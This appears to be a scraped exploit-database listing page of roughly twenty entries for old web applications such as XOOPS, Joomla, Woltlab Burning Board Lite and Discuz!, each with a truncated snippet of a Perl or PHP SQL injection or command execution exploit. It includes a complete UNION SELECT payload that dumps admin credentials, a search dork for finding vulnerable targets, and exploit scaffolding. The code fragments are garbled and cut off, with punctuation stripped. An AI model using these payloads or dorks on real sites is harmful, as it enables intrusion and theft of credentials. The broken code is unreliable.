XOOPS Module Core - 'viewcat.php' SQL Injection

!/usr/bin/perl Script Name: XOOPS Module Core viewcat.php Remote BLIND SQL Injection Exploit Coded by : ajann !/usr/bin/perl Script Name: XOOPS Module Core viewcat.php Remote BLIND SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.xoops.org/ $$ : ?? . : Tested ...

XOOPS Module Library - viewcat.php SQL Injection

XOOPS Module Library - viewcat.php SQL Injection !/usr/bin/perl Script Name: XOOPS Module Library viewcat.php BLIND SQL Injection Exploit Coded by : ajann Author : ajann Dork : "inurl:/modules/library/" Contact : : S.Page : http://www.xoops.org/ $$ : ?? . : Tested on xoops.org and xoops.pr.gov.br...

Joomla! Component Car Manager 1.1 - SQL Injection

!/usr/bin/perl Script Name: Joomla Component Car Manager : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

npds-exec.txt

!/usr/bin/php Options OPTIONS | -proxy If you wanna use a proxy | -proxyauth Basic authentification ";exit1; $url = getparam'url',1; $pro = getparam'proxy'; $pra = getparam'proyauth'; $xpl = new phpsploit; $xpl-agent'Mozilla Firefox'; if$pro $xpl-proxy$pro; if$pra $xpl-proxyauth$pra; +print.php S...

ScriptMagix Recipes 2.0 - 'index.php?catid' SQL Injection

!/usr/bin/perl Script Name: ScriptMagix Recipes : "; $dir = ; chop $dir; if $dir = /exit/ print "-- Exploit FailedYou Are Exited \n"; exit; if $dir = /// else print "-- Exploit FailedNo DIR \n"; exit; $target =...

SonicMailer Pro <= 3.2.3 (index.php) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Script Name: SonicMailer Pro = 3.2.3 index.php Remote Blind SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.triexa.com $$ : Standart License 89$ .. : ajann,Turkey use IO::Socket; if@ARGV 1 print "...

F&#305;st&#305;q Duyuru Scripti Remote Sql &#304;njection Exploit

Fstq Duyuru Scripti Remote Sql njection File : goster.asp Sql : -120union+all+select+0,kullaniciadi,sifre,3+from+admin Admin Name + Admin Pass Admin Menu: yoneticiii/default.asp Thanks : Ajann , Xoron , ApAci , ErNE , Uyuss , Eno7 , Thehacker , Enjexion .pl Exploit Code : !/usr/bin/perl Script...

Woltlab Burning Board Lite <= 1.0.2pl3e (pms.php) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================================= Woltlab Burning Board Lite = 4.1 / if $argc6 printr' ------------------------------------------------------------------------------- Usage: php '.$argv0.' host path us...

Woltlab Burning Board Lite 1.0.2pl3e - 'pms.php' SQL Injection

= 4.1 / if $argcquery"DEL...

Woltlab Burning Board Lite 1.0.2pl3e - pms.php SQL Injection

Woltlab Burning Board Lite 1.0.2pl3e - pms.php SQL Injection = 4.1 / if $argc6 printr' ------------------------------------------------------------------------------- Usage: php '.$argv0.' host path user pass action OPTIONS host: target server ip/hostname path: path to wbblite user/pass: valid us...

CVE-2006-6927

Multiple SQL injection vulnerabilities in Rialto 1.6 allow remote attackers to execute arbitrary SQL commands via 1 the uname username and 2 pword passwd fields in a admin/default.asp; the 3 ID parameter to b listfull.asp or c printmain.asp; the 4 cat parameter to d listmain.asp, e...

@lex Guestbook 4.0.2 - Remote Command Execution

!/usr/bin/php @lex Guestbook ======================================================== | status Retrieving the administrator password | sploit AdminUsername::root | sploit AdminPassword::toor | status Trying to get logged in | sploit Done | status Trying to add a skin | sploit Done | status Writin...

The Classified Ad System 1.0 - main SQL Injection

The Classified Ad System 1.0 - main SQL Injection !/usr/bin/perl Script Name: The Classified Ad System 1.0 main Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.mxmania.net $$ : 29.99 . .. : ajann,Turkey use IO::Socket; if@ARGV : "; $dir = ; chop $dir; ...

Newsletter MX &lt;= 1.0.2 (ID) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Script Name: Newsletter MX = 1.0.2 ID Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.mxmania.net $$ : 29.99 . .. : ajann,Turkey use IO::Socket; if@ARGV 1 print "...

Enthrallweb ePages - 'actualpic.asp' SQL Injection

!/usr/bin/perl Script Name: Enthrallweb ePages actualpic.asp Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.enthrallweb.us $$ : 179.40 USD .. : ajann,Turkey use IO::Socket; if@ARGV newProto = "tcp", PeerAddr = "$server", PeerPort = "$port" || die "\n+...

Enthrallweb emates 1.0 - newsdetail.asp SQL Injection

Enthrallweb emates 1.0 - newsdetail.asp SQL Injection !/usr/bin/perl Script Name: Enthrallweb emates 1.0 newsdetail.asp Remote SQL Injection Exploit Coded by : ajann Author : ajann Contact : : S.Page : http://www.enthrallweb.us $$ : 119.40 USD .. : ajann,Turkey use IO::Socket; if@ARGV newProto =...

Ixprim CMS 1.2 - Blind SQL Injection

Ixprim CMS 1.2 - Blind SQL Injection !/usr/bin/perl INFORMATIONS ============ Affected.scr..: Ixprim 1.2 Poc.ID........: 16061221 Type..........: Blind SQL Injection Risk.level....: Medium Conditions....: loadfile privilege ixp code only Src.download..: www.ixprim-cms.org Poc.link......:...

ATutor多个SQL注入漏洞

ATutor是一款基于PHP的WEB应用程序。 ATutor不正确处理用户提交的WEB数据，远程攻击者可以利用漏洞进行SQL注入获得敏感信息。 问题存在于'index.php'脚本中，由于对用户提交的URI参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 ATutor ATutor 1.5.3 ATutor ATutor 1.5.3 ATutor ATutor 1.5.1 pl2 ATutor ATutor 1.5.1 pl1 ATutor ATutor 1.5.1 ATutor ATutor 1.4.3 ATutor ATutor 1.4.2...

Discuz! 4.x - SQL Injection Admin Credentials Disclosure

Discuz! 4.x - SQL Injection Admin Credentials Disclosure 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0; $result.="\r\n"; $exa.="\r\n"; return $exa."\r\n".$result;...

Discuz! 4.x SQL Injection / Admin Credentials Disclosure Exploit

Exploit for unknown platform in category web applications ================================================================ Discuz! 4.x SQL Injection / Admin Credentials Disclosure Exploit ================================================================ 126 $result.=" ."; else $result.="...